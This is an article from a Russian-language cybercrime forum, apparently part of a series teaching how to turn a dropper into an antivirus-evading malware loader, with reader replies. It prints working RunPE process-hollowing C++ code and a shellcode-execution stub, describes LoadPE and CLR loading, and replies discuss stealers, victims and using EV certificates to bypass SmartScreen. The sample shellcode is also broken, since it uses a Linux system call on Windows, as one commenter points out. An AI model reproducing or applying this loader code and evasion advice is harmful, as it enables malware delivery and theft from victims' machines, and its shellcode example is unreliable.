• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Пишем свой лоадер на плюсах ч1 - теория

Barmaleus

(L2) cache
Пользователь
Регистрация
11.08.2023
Сообщения
403
Реакции
165
Гарант сделки
11
Депозит
0.0001
Автор Barmaleus
Источник https://xss.pro

В прошлых частях мы познали за несколько этапов что за штука такая дроппер и как она работает, ну и намутили свой дроппер обойдя вд и хром, посмотрели принципы работы, но теперь начнём его переписывать в лоадер, то-есть без фактического дропа файла на диск, снова начинаем с истории и предыстории. А вообще, тема с лоадерами - это не какое-то там новомодное изобретение. Ещё с древних времён, когда компы только появились, умники уже мутили вирусы, которые не просто падали на диск, а загружались хитро, чтобы их сложнее было спалить. Но в те времена всё было попроще, антивирусы были тупее, так что и способы обхода были не такие навороченные. Но время шло, технологии развивались, и антивирусы тоже не стояли на месте, а прыгали выше. Стали они умнее, начали файлы на входе шерстить, да и на диске постоянно что-то находить. И тут-то наши малвейр-кодеры и придумали эту фишку с лоадерами. Идея такая: вместо того, чтобы тупо файл на диск кидать, давай-ка мы его хитро в память загрузим, да ещё и замаскируем так, что антивирус охренеет и ничего не поймёт.
Лоадеры - это сейчас реально актуальная тема. Все эти новомодные вирусы стиллеры, трояны, локеры от школьников - все они используют продвинутые лоадеры. Потому что без этого сейчас никак - сразу спалят и завалят. Короче, впереди у нас много работы. Будем разбираться с памятью, с системными вызовами, с шифрованием и дешифрованием на лету, так же нам будет нужен неплохой рантайм.
Способы выполнения пейлоада в памяти
RunPE старичок, но его ещё используют. Работает как угнать тачку, но оставить номера. Берём легальный процесс, вычищаем его и заливаем туда наш пейлоад, и получаем ёлку от антивирусов в рантайме особенно если софт уже с детектами.
C++:
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

typedef NTSTATUS(NTAPI* PNtQueryInformationProcess)(
    HANDLE           ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID            ProcessInformation,
    ULONG            ProcessInformationLength,
    PULONG           ReturnLength
);

DWORD FetchPebAddress(HANDLE hProcess)
{
    PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQueryInformationProcess)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryInformationProcess");

    PROCESS_BASIC_INFORMATION pbi;
    ZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));

    DWORD returnLength = 0;
    if (NT_SUCCESS(pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)))
    {
        return (DWORD)pbi.PebBaseAddress;
    }
    return 0;
}

VOID WINAPI ExecutePayload(LPBYTE payloadBuffer)
{
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)payloadBuffer;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return;

    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD)payloadBuffer + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return;

    WCHAR exePath[MAX_PATH + 1];
    GetModuleFileNameW(NULL, exePath, MAX_PATH);

    PROCESS_INFORMATION pi;
    STARTUPINFOW si;
    ZeroMemory(&pi, sizeof(pi));
    ZeroMemory(&si, sizeof(si));

    if (!CreateProcessW(exePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
        return;

    LPCONTEXT ctx = (LPCONTEXT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(CONTEXT));
    ctx->ContextFlags = CONTEXT_FULL;

    if (!GetThreadContext(pi.hThread, ctx))
    {
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    DWORD pebAddress = FetchPebAddress(pi.hProcess);
    LPVOID remoteImage = VirtualAllocEx(pi.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!remoteImage)
        remoteImage = VirtualAllocEx(pi.hProcess, NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(pi.hProcess, remoteImage, payloadBuffer, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);

    PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)(payloadBuffer + dosHeader->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + ntHeaders->FileHeader.SizeOfOptionalHeader);

    PIMAGE_BASE_RELOCATION relocation = NULL;
    DWORD relocVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;

    for (INT i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
    {
        WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD)remoteImage + sectionHeader[i].VirtualAddress), (LPVOID)((DWORD)payloadBuffer + sectionHeader[i].PointerToRawData), sectionHeader[i].SizeOfRawData, NULL);

        if (relocVA >= sectionHeader[i].VirtualAddress && relocVA < sectionHeader[i].VirtualAddress + sectionHeader[i].SizeOfRawData)
            relocation = (PIMAGE_BASE_RELOCATION)(payloadBuffer + sectionHeader[i].PointerToRawData + (relocVA - sectionHeader[i].VirtualAddress));
    }

    if (relocation && (DWORD)remoteImage != ntHeaders->OptionalHeader.ImageBase)
    {
        DWORD delta = (DWORD)remoteImage - ntHeaders->OptionalHeader.ImageBase;
        while (relocation->SizeOfBlock)
        {
            LPWORD fixups = (LPWORD)((DWORD)relocation + sizeof(IMAGE_BASE_RELOCATION));
            DWORD fixupsCount = (relocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);

            for (DWORD i = 0; i < fixupsCount; i++)
            {
                if ((fixups[i] & 0xF000) == IMAGE_REL_BASED_HIGHLOW)
                {
                    LPVOID fixupAddr = (LPVOID)((DWORD)remoteImage + relocation->VirtualAddress + (fixups[i] & 0x0FFF));
                    DWORD fixupValue;
                    if (ReadProcessMemory(pi.hProcess, fixupAddr, &fixupValue, sizeof(fixupValue), NULL))
                    {
                        fixupValue += delta;
                        WriteProcessMemory(pi.hProcess, fixupAddr, &fixupValue, sizeof(fixupValue), NULL);
                    }
                }
            }
            relocation = (PIMAGE_BASE_RELOCATION)((DWORD)relocation + relocation->SizeOfBlock);
        }
    }

    WriteProcessMemory(pi.hProcess, (LPVOID)(pebAddress + 8), &remoteImage, sizeof(remoteImage), NULL);

    ctx->Eax = (DWORD)remoteImage + ntHeaders->OptionalHeader.AddressOfEntryPoint;
    SetThreadContext(pi.hThread, ctx);
    ResumeThread(pi.hThread);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

int main()
{
    ExecutePayload(rawData);
    return 0;
}
Рассказывать особо много о нём не вижу смысла, дед в мире загрузки PE файлов, им можно грузить и .NET файлы что не сделаешь с другими, достаточно грузить в .NET процесс той же битности.

Shellcode, наверное самый древний и беспалевный метод, работает почти везде, но более сложен в реализации и требует знаний. Проще говоря, шеллкод- это самодостаточный кусок машинного кода, который можно впихнуть куда угодно и он сработает. Вот пример простого шеллкода на ассемблере (x86), который выводит "Привет, мир!":
Код:
section .text
global _start

_start:
    ; write(1, message, 13)
    push 13
    push message
    push 1
    mov eax, 4
    int 0x80

    ; exit(0)
    xor ebx, ebx
    mov eax, 1
    int 0x80

section .data
message db "Привет, мир!", 10
Чтобы использовать этот шеллкод в C++, нужно его сконвертировать в байт-код. Вот как это должно выглядеть:
C++:
#include <Windows.h>

unsigned char shellcode[] =
    "\x6A\x0D\x68\x00\x00\x00\x00\x6A\x01\xB8\x04\x00\x00\x00\xCD\x80"
    "\x31\xDB\xB8\x01\x00\x00\x00\xCD\x80\xD0\xCF\xC8\xC2\xC2\xC5\xD2"
    "\x2C\x20\xCC\xC8\xD0\x21\x0A";

int main()
{
    void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(exec, shellcode, sizeof shellcode);
    ((void(*)())exec)();

    return 0;
}
Да есть и другие способы загрузки шеллкода, но показываю самый простой и распространённый, который каждый школьник реализует. Шеллкод так же можно и инжектить в программу, он универсальный, но как и всего у него есть битность. Он такая штука что поддерживает всё(файлы, скрипты..) считай что душе угодно, только попробуй реализуй). Можно написать программу на чистом православном цэ и потом перевести её в байткод того шеллкода. Вообще прикольная штука работает везде и как надо.

LoadPE довольно таки молодой метод, реализация сложна для новичков, но всё же его использует большое количество людей, net программы он грузить не умеет и не будет. Исходники есть на форуме, он не такой простой как RunPE потому, что всё загружает сам, а не загрузчик винды. Сначала выделяется память, копирует в выделенную память секции, делает релокации, находит дллки с ехе и импортирует их. Пример можно увидеть https://github.com/SaadAhla/FilelessPELoader этот код работает и под х64.

ClrCreateInstance довольно таки новый метод, помоложе loadpe суть в том что грузит .net программу в нативной программе, коды есть в donut на гитхабе и на форуме в разделе конкурсы "Пишем свой donut на минималках", подходит только для .NET программ.
Выбор метода
Выбор метода будет зависеть от конкретных задач, если мы делаем под определённый софт допустим на .NET то выберем ClrCreateInstance, но так как мы хотим реализовать более широкий спектр и использовать сначала простое, а потом сложное, то начнём с RunPE и шеллкода, loadPE наверное тоже с собой захватим.
Про сервер
Так как сервер мы писали изначально под дроппер, но с зачатками для лодера ,сборы системной инфы(оперативная память, процессор, видеокарта), то нам уже будет проще реализовать, остальное. Шифр запросов мы будем постепенно менять и от base64 перейдём к xorу или просто сделаем свой метод. В серверной части будет минимум изменений, чего не скажешь о коде самого лодера.

В следующей части напишем серверную часть и построим новое дерево атаки, и сделаем из дроппера лодер, который будет грузить программы с сервера.
 
Последнее редактирование:
Спасибо за цикл статей, очень полезно для быстрого погружения в малварь-кодинг. Появилось несколько нубских вопросов, буду благодарен за ответы.

  1. Я правильно понял, что лоадер - это по сути сервер, который скрытно запускается на машине жертвы, ждет команду от клиента, при получении команды скачивает полезную нагрузку и исполняет ее не сохраняя на диск?
  2. Для каких задач лучше использовать лоадер, а для каких дроппер?
  3. Шелл-код может быть только на ассемблере? Что если написать код на Си, транслировать его в ассемблер (gcc -S file_name.c), и дальше, соответственно, в байт-код?
  4. Какую битность выбрать для лоадера/дроппера 32 или 64?
  5. Нужен ли для лоадера EV серт?
  6. Есть ссылки на статьи по LoadPE? Беглый поиск ничего годного показывает
 
Спасибо за цикл статей, очень полезно для быстрого погружения в малварь-кодинг. Появилось несколько нубских вопросов, буду благодарен за ответы.

  1. Я правильно понял, что лоадер - это по сути сервер, который скрытно запускается на машине жертвы, ждет команду от клиента, при получении команды скачивает полезную нагрузку и исполняет ее не сохраняя на диск?
  2. Для каких задач лучше использовать лоадер, а для каких дроппер?
  3. Шелл-код может быть только на ассемблере? Что если написать код на Си, транслировать его в ассемблер (gcc -S file_name.c), и дальше, соответственно, в байт-код?
  4. Какую битность выбрать для лоадера/дроппера 32 или 64?
  5. Нужен ли для лоадера EV серт?
  6. Есть ссылки на статьи по LoadPE? Беглый поиск ничего годного показывает
1) не совсем, он при запуске грузит пейлоад и запускает его в памяти. Без автозагрузки и всего, дальше это уже ботнет.
2) лодер для задач когда надо максимально всего обойти, дроппер для дешёвого и лёгкого обхода аверов, тот же трафик дешевле будет реализовать дропер для начала.
3) да так можно сделать.
4) битность если хочешь меньше статик детектов для дроппера наверное х64 ему по сути только дропать файл, если больше охват то х86. Для лодера тоже зависит от задач конкретных, но многие стиллеры х86 , можно в лодер включить функционал дроппера тогда обе битности будут.
5) да чтобы обойти смартскрин, но не всегда.
6) https://github.com/SaadAhla/FilelessPELoader
 
Не совсем понял смысла. Просто выполнить шелкод? На гитхабе же лежат подобные. (Это не наезд, а просто вопрос)
Да лежат возможно 😐.
 
Что если написать код на Си, транслировать его в ассемблер
Конкретно данный "трюк" роли не сыграет и не сработает. Потому что компиляторы(раньше) так и компилили код - препроцессор -> преобразование в листинг асм -> ассемблирование ->компоновщик. Сейчас, насколько я знаю, такая цепочка не используется, а исходники сразу летят в компиль, минуя фазу асемблера. Это я к тому, что, если ты напишешь на Си, потом откомпилишь и если отдельно запустишь каждый этап - результат не поменяется. Автор использовал асм потому что исполняемый код получился бы меньшего размера, в отличие от Си.

А не сработает это дело вот почему: откомпилить и запустить код, который ты получишь таким способом, кстати, как и приведенный автором листинг на асме, не выйдет, потому что асемблер билдит PE, а в статье использовался позиционно-независимый код(который автор называет байткодом). А код автора не сработает, потому что, насколько я знаю, `int 0x80` не работает на винде, потому что прерывания из юзермода недоступны, а вместо них юзается winapi. Так что такой код в принципе не запустить. Линуха вроде такое слопает.

В целом статья хорошая, но многие моменты не разъяснены, коль уж она для нубов =)

Вот статья по написанию шеллкодов под win, если кому интересно: hxxps://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html

UPD:
Что если написать код на Си, транслировать его в ассемблер
Нашёл, нечто похожее hxxps://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c , правда, там надо вносить правки в листинг асм
 
Последнее редактирование:
Конкретно данный "трюк" роли не сыграет и не сработает. Потому что компиляторы(раньше) так и компилили код - препроцессор -> асм -> компилятор ->компоновщик. Сейчас, насколько я знаю, такая цепочка не используется, а исходники сразу летят в компиль, минуя фазу асемблера. Это я к тому, что, если ты напишешь на Си, потом откомпилишь и если отдельно запустишь каждый этап - результат не поменяется. Автор использовал асм потому что исполняемый код получился бы меньшего размера, в отличие от Си.

А не сработает это дело вот почему: откомпилить и запустить код, который ты получишь таким способом, кстати, как и приведенный автором листинг на асме, не выйдет, потому что асемблер билдит PE, а в статье использовался позиционно-независимый код(который автор называет байткодом). А код автора не сработает, потому что, насколько я знаю, `int 0x80` не работает на винде, потому что прерывания из юзермода недоступны, а вместо них юзается winapi. Так что такой код в принципе не запустить. Линуха вроде такое слопает.

В целом статья хорошая, но многие моменты не разъяснены, коль уж она для нубов =)

Вот статья по написанию шеллкодов под win, если кому интересно: hxxps://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html

UPD:

Нашёл, нечто похожее hxxps://www.ired.team/offensive-security/code-injection-process-injection/writing-and-compiling-shellcode-in-c , правда, там надо вносить правки в листинг асм
Тут им до этого очень далеко про что ты говоришь самая база нужна хотя бы.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Конкретно данный "трюк" роли не сыграет и не сработает. Потому что компиляторы(раньше) так и компилили код - препроцессор -> асм -> компилятор ->компоновщик. Сейчас, насколько я знаю, такая цепочка не используется, а исходники сразу летят в компиль, минуя фазу асемблера. Это я к тому, что, если ты напишешь на Си, потом откомпилишь и если отдельно запустишь каждый этап - результат не поменяется. Автор использовал асм потому что исполняемый код получился бы меньшего размера, в отличие от Си.

А не сработает это дело вот почему: откомпилить и запустить код, который ты получишь таким способом, кстати, как и приведенный автором листинг на асме, не выйдет, потому что асемблер билдит PE, а в статье использовался позиционно-независимый код(который автор называет байткодом). А код автора не сработает, потому что, насколько я знаю, `int 0x80` не работает на винде, потому что прерывания из юзермода недоступны, а вместо них юзается winapi. Так что такой код в принципе не запустить. Линуха вроде такое слопает
Так-так, стоп, давайте разберем вот эту мешанину из терминов. Компиляторы С/С++ работают так: препроцессор (дефайны и инклуды, просто текстовая замена), компилятор (из С/С++ в ассемблер, на самом деле в компиляторе очень много фаз, например, GCC компилятор создает несколько промежуточных представлений (например, GIMPLE и RTL), Clang создает LLVM IR, а уже из промежуточного представления создается ассемблерный код), далее ассемблер собирается в объектные файлы (COFF - там уже нативный код содержится, технически ассемблер может быть встроен в компилятор, а может быть и отдельной утилитой, для MSVC ассемблер называется MASM, для GCC ассемблер называется GAS), объектные файлы собираются в исполняемые файлы линкером (PE/ELF/Macho). Технически вполне возможно собрать шеллкод или позиционно независимый код из Си или Плюсов, хороший пример этого - donut (я делал сравнительно подробный разбор этого проекта, можно найти здесь на форуме).
 
Так-так, стоп, давайте разберем вот эту мешанину из терминов. Компиляторы С/С++ работают так: препроцессор (дефайны и инклуды, просто текстовая замена), компилятор (из С/С++ в ассемблер, на самом деле в компиляторе очень много фаз, например, GCC компилятор создает несколько промежуточных представлений (например, GIMPLE и RTL), Clang создает LLVM IR, а уже из промежуточного представления создается ассемблерный код), далее ассемблер собирается в объектные файлы (COFF - там уже нативный код содержится, технически ассемблер может быть встроен в компилятор, а может быть и отдельной утилитой, для MSVC ассемблер называется MASM, для GCC ассемблер называется GAS), объектные файлы собираются в исполняемые файлы линкером (PE/ELF/Macho). Технически вполне возможно собрать шеллкод или позиционно независимый код из Си или Плюсов, хороший пример этого - donut (я делал сравнительно подробный разбор этого проекта, можно найти здесь на форуме).
с этим согласен и солидарен пример бублика приводил
 
Так-так, стоп, давайте разберем вот эту мешанину из терминов. Компиляторы С/С++ работают так: препроцессор (дефайны и инклуды, просто текстовая замена), компилятор (из С/С++ в ассемблер, на самом деле в компиляторе очень много фаз, например, GCC компилятор создает несколько промежуточных представлений (например, GIMPLE и RTL), Clang создает LLVM IR, а уже из промежуточного представления создается ассемблерный код), далее ассемблер собирается в объектные файлы (COFF - там уже нативный код содержится, технически ассемблер может быть встроен в компилятор, а может быть и отдельной утилитой, для MSVC ассемблер называется MASM, для GCC ассемблер называется GAS), объектные файлы собираются в исполняемые файлы линкером (PE/ELF/Macho). Технически вполне возможно собрать шеллкод или позиционно независимый код из Си или Плюсов, хороший пример этого - donut (я делал сравнительно подробный разбор этого проекта, можно найти здесь на форуме).
Я лишь в общих чертах описал процесс превращения исходника на Си в исполняемый файл. Спасибо, что поправил =)
 
Тут так
Код:
    if (NT_SUCCESS(pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)))
    {
        return (DWORD)pbi.PebBaseAddress;
    }

А тут так
Код:
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return;

А потом хоба
Код:
if (!CreateProcessW(exePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
        return;

Это я до стиля доипался 🤡

А это из 2007?
Код:
int 0x80

И завязывайте с этим
Код:
PAGE_EXECUTE_READWRITE
 
Тут так
Код:
    if (NT_SUCCESS(pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength)))
    {
        return (DWORD)pbi.PebBaseAddress;
    }

А тут так
Код:
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return;

А потом хоба
Код:
if (!CreateProcessW(exePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi))
        return;

Это я до стиля доипался 🤡

А это из 2007?
Код:
int 0x80

И завязывайте с этим
Код:
PAGE_EXECUTE_READWRITE
Даже раньше 2007)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх